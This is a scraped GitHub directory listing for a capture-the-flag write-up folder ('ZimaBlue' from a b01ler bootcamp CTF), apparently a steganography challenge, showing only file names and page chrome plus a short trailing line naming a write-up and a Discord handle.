<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> notAHacker007 </span> <span>/</span> CTFwriteups
<span></span><span>Public</span></h1>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications
<div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span>
0 </div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork
0
</div>
<div id="responsive-meta-container" data-pjax-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/notAHacker007/CTFwriteups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights
</details-menu></div></details></div></nav> </div>
<div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " >
<div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/notAHacker007/CTFwriteups/refs" cache-key="v0:1598826698.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm90QUhhY2tlcjAwNy9DVEZ3cml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/notAHacker007/CTFwriteups/refs" cache-key="v0:1598826698.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm90QUhhY2tlcjAwNy9DVEZ3cml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFwriteups</span></span></span><span>/</span><span><span>b01lerBootcampCTF</span></span><span>/</span>ZimaBlue<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTFwriteups</span></span></span><span>/</span><span><span>b01lerBootcampCTF</span></span><span>/</span>ZimaBlue<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/notAHacker007/CTFwriteups/tree-commit/4ae139296a3fb5c7823c6aa4b76c9e721f06306a/b01lerBootcampCTF/ZimaBlue" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/notAHacker007/CTFwriteups/file-list/master/b01lerBootcampCTF/ZimaBlue"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>BitPlaneGreen1.png</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Writeup.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>zimablue-2646021495d79dc860ea59316dcdf046.png</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div></div>
</main> </div>
</div>
<div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs
<svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template>
</body></html>
|
**Write up for yawn1**
-----
##### Feel free to hit me up at discord AmunRha#3245
-----
